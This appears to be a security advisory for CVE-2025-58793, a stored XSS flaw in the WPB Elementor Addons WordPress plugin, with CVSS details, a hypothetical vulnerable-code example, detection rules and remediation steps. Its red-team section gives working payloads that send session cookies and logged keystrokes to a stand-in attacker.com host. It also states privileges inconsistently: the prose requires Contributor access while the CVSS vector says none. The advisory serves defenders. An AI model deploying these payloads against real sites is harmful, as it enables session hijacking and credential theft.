CVE-2025-58793

Executive Summary

CVE-2025-58793 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPB Elementor Addons WordPress plugin, developed by WPBean. The vulnerability exists in all versions up to and including 1.7. An attacker with low privileges (e.g., a Contributor or Author) can inject malicious JavaScript into web pages generated by the plugin. When an administrator or other user views the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. Since the plugin is distributed via the WordPress Plugin Directory and potentially through third-party marketplaces, any site running WPB Elementor Addons <= 1.7 is at risk. There is no known patch or update available from the vendor, making this a supply chain risk for site maintainers who rely on automatic updates.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required (victim must visit the compromised page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of Elementor-based plugins elevate the risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input in the wpb-elementor-addons plugin. The plugin likely processes shortcodes, widget attributes, or custom fields without proper sanitization or output encoding. An attacker can inject arbitrary HTML and JavaScript into fields that are later rendered on the frontend.

Attack Flow:

1. An attacker with Contributor-level access (or higher) creates or edits a post/page using the WPB Elementor Addons plugin.
2. The attacker inserts malicious payload into a vulnerable input field (e.g., widget title, description, or custom CSS class).
3. The plugin stores the payload in the WordPress database without sanitization.
4. When an administrator or other user views the page, the payload executes in their browser.

Example Payload:

<script>alert('XSS')</script>

or more sophisticated:

<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable plugin likely uses functions like echo or the_content without applying WordPress's built-in escaping functions.

Vulnerable Code (hypothetical):

// In wpb-elementor-addons/includes/widgets/class-widget.php
public function render() {
    $title = $this->get_settings('title');
    echo '<h2>' . $title . '</h2>'; // No escaping
}

Patched Code (expected):

public function render() {
    $title = $this->get_settings('title');
    echo '<h2>' . esc_html($title) . '</h2>'; // Proper escaping
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with WPB Elementor Addons <= 1.7 installed and activated.
• Attacker account with at least Contributor role.

Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or page.
3. Add a WPB Elementor Addons widget (e.g., "WPB Heading").
4. In the widget's title field, inject the following payload:

   <script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
   

5. Publish the post.
6. When an admin visits the post, their session cookie is sent to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection:

• Monitor for posts containing <script> tags in custom fields or widget settings.
• Use WAF rules to block common XSS patterns in POST requests to wp-admin/post.php.
• Review user activity logs for suspicious post creation by low-privilege users.

Hunting:

• Search the database for stored XSS payloads:

  SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
  

• Check wp_postmeta for malicious values in meta keys related to the plugin.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing document.cookie or localStorage.
• Host: Presence of <script> tags in WordPress posts or page content, especially in fields managed by WPB Elementor Addons.
• Logs: Unusual POST requests to /wp-admin/post.php with content parameters containing JavaScript.
• File: Modified plugin files (though unlikely, as the vulnerability is in the plugin's core logic).

Detection Engineering

YARA Rule

rule CVE_2025_58793_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting WPB Elementor Addons"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-58793"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $plugin = "wpb-elementor-addons"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS via WPB Elementor Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created by low-privilege users
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
        post_author_role: 
            - 'contributor'
            - 'author'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58793 Stored XSS Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict user roles – only allow trusted users to create/edit posts.
3. Apply a WAF rule to block common XSS patterns in POST requests.

Long-term Fix:

• The vendor must release a patched version that properly escapes output using esc_html(), esc_attr(), or wp_kses().
• Until then, consider using a security plugin like Wordfence to add virtual patching.

Workaround:

• Manually edit the plugin files to add escaping (not recommended for non-developers).

Valters IT
Securing Digital Frontiers